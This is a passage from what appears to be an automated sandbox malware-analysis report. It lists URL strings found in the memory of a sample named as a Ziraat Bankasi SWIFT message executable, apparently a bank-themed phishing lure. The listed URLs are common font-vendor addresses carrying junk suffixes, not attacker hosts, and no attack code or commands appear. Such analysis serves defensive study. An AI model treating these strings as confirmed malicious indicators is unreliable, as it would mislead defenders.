00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300950320.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301645997.0000000006031000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.com69
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299938247.000000000601A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.com8I
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299938247.000000000601A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comFH
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299949266.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comGr
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comand
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comce
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comfac
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comhy/
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comily
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301948951.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302181801.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301855291.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302114099.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comits
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comitse
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml-B(
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300099384.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.compe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comre
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300033238.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300099384.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comsigW
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comsign
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304677827.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306012210.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers%
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304296667.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304341992.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304099259.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304382226.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304209518.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304170705.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304435662.0000000006043000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.html
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305003600.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305032513.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305068305.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304189881.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersH
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312655895.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersW
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312655895.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312618448.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersiv
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comF
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comL.TTF
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.coma$
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comalicg
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comals$
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comdP
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comicu
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.coml1
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comm
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.commsedY
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comueedl
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297868606.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297839542.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.comcom
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299606103.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299501081.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299462548.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cntsP=
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299447483.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cntsP=tx
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299447483.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299462548.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cnu-e
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308810403.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308658468.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308810403.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308658468.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/:
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308674164.0000000006012000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308958537.0000000006012000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309958548.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309176604.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309323595.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309409920.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309038359.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309119313.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308591362.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309275276.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309634439.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308723291.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309847410.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309538175.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308827341.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309771643.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308893439.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htmtr-tr
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, 